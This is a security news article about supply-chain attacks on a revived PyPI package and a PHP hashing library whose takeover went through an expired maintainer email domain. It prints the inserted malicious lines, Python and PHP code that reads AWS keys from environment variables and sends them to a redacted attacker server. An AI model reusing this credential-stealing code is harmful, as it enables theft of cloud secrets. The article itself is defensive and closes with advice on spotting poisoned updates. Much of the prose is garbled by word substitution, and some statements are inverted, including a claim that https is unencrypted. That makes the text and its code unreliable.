A keen-eyed researcher at SANS recently wrote about a new and rather specific sort of supply concatenation set on against open up-source software modules in Python and PHP.
Following on-line discussions about a suspicious public Python module, Yee Ching Tok noted that a packet called
in the popular PyPi repository had suddenly received an “update”, despite not otherwise beingness touched since late 2014.
In theory, of course, in that location’s nothing incorrect with old packages suddenly coming back to life.
Sometimes, developers return to one-time projects when a lull in their regular schedule (or a guilt-provoking email from a long-standing user) finally gives them the impetus to apply some long-overdue bug fixes.
In other cases, new maintainers step up in practiced faith to revive “abandonware” projects.
But packages can become victims of secretive takeovers, where the password to the relevant account is hacked, stolen, reset or otherwise compromised, so that the parcel becomes a beachhead for a new wave of supply chain attacks.
But put, some package “revivals” are conducted entirely in bad religion, to requite cybercriminals a vehicle for pushing out malware nether the guise of “security updates” or “characteristic improvements”.
The attackers aren’t necessarily targeting any specific users of the package they compromise – often, they’re but watching and waiting to see if anyone falls for their package bunko…
…at which indicate they accept a mode to target the users or companies that exercise.
New lawmaking, sometime version number
In this attack, Yee Ching Tok noticed that altough the package suddenly got updated, its version number didn’t alter, presumably in the promise that some people might [a] take the new version anyway, maybe even automatically, but [b] not carp to look for differences in the code.
difference, where simply new, inverse or deleted lines in the code are examined) showed added lines of Python code like this:
if environ.get('AWS_ACCESS_KEY_ID') is not None: self.surreptitious = environ.get('AWS_ACCESS_KEY_ID')
Yous may remember, from the infamous Log4Shell bug, that so-called
surroundings variables, attainable via
in Python, are retentivity-only
settings associated with a specific running program.
Data that’s presented to a plan via a retention block doesn’t need to be written to disk, so this is a handy manner of passing across clandestine information such as encryption keys while guarding against saving the data improperly past mistake.
However, if you can poison a running program, which will already take access to the retention-only process environment, you can read out the secrets for yourself and steal the, for case past sending them out buried in regular-looking network traffic.
If y’all leave the bulk of the source code you’re poisoning untouched, its usual functions will all the same work every bit before, and then the malevolent tweaks in the parcel are probable to go unnoticed.
Why at present?
Apparently, the reason this parcel was attacked only recently is that the server name used for email past the original maintainer had only expired.
The attackers were therefore able to purchase up the now-unused domain proper name, ready an email server of their own, and reset the password on the account.
Interestingly, the poisoned
parcel was soon updated twice more, with more added “secret sauce” squirrelled away in the infected code, this fourth dimension including more than aggressive information-stealing code.
line below connects to an external server controlled by the crooks, though we have redacted the domain proper noun here:
def sendRequest(self): str = "" for _, v in environ.items(): str += 5 + " " ### --encode cord into base64 resp = requests.go("https://[REDACTED]/hacked/" + str)
The redacted exfiltration server will receive the encoded surroundings variables (including any stolen data such equally access keys) as an innocent-looking cord of random-looking information at the stop of the URL.
The response that comes back doesn’t actually thing, considering it’s the outgoing request, complete with appended undercover data, that the attackers are after.
If you want to try this for yourself, yous can create a standalone Python programme based on the pseudocode higher up, such every bit this::
Then outset a listening HTTP pseudoserver in a separate window (we used the first-class
utility from the Nmap toolkit, as seen below), and run the Python code.
Hither, nosotros’re in the Bash shell, and nosotros have used
to strip downwardly the surround variables to save space, and we’ve run the Python exfiltration script with a fake AWS environment variable set (the access fundamental nosotros chose is ane of Amazon’s own deliberately non-functional examples used for documentation):
The listening server (y’all need to start this start so the Python code has something to connect to) will answer the request and dump the information that was sent:
line higher up captures the encoded information that was exfiltrated in the URL.
Nosotros tin can now decode the
data from the GET request and reveal the fake AWS cardinal that nosotros added to the process environment in the other window:
Intrigued, Yee Ching Tok went looking elsewhere for the exfiltration servername that we redacted above.
The same server turned upwardly in code recently uploaded to a PHP project on GitHub, presumably because it just happened to be compromised by the same attackers at around the same time.
That project is what used to exist a legitimate PHP hashing toolkit chosen
phppass, but it now contains these three lines of unwanted and dangerous code:
$admission = getenv('AWS_ACCESS_KEY_ID'); $secret = getenv('AWS_SECRET_ACCESS_KEY'); $xml = file_get_contents("http://[REDACTED]hacked/$access/$underground");
Here, any Amazon Web Services access secrets, which are pseudorandom character strings, are extracted from environment memory (
above is PHP’s equivalent of
in the rogue Python code you saw earlier) and fashioned into a URL.
This time, the crooks have used
https, thus not only stealing your surreptitious data for themselves, but as well making the connection without encryption, thus exposing your AWS secrets to anyone logging your traffic as it traverses the internet.
What to do?
Don’t blindly accept open up-source package updates when they show up.
Go through the code differences yourself earlier y’all decide that the update is in your interest. Yes, adamant criminals volition typically hibernate their illegal code changes more subtly than the hacks you run into higher up, and so it might not be as easy to spot. But if you lot don’t look at all, then the crooks can get away with anything they want.
Cheque for suspicious changes in whatsoever maintainer’due south account before trusting it.
Wait at the documentation in the previous version of the code (presumably, code that you already have) for the contact details of the previous maintainer, and see what’south changed on the account since the last update. In particular, if you can see domain names that expired and were only re-registered recently, or email changes that introduce new maintainers with no obvious previous interest in the project, be suspicious.
Don’t rely only on module tests that verify correct behaviour.
Aim for generic tests that await for unwanted, unusual and unexpected behaviour likewise, especially if that behaviour has no obvious connection to the package you’ve changed. For example, a utility to compute password hashes shouldn’t make network connections, and so if you grab it doing so (using exam data rather than live information, of course!) and so you should suspect foul play.
Threat detection tools such every bit Sophos XDR (the letters XDR are industry jargon for
extended detection and response) can help hither by allowing you to proceed your center on programs you’re testing, and then to review their activity tape for types of behaviour that shouldn’t be there.
After all, if you lot know what your software is supposed to practise, you should likewise know what it’due south
supposed to do!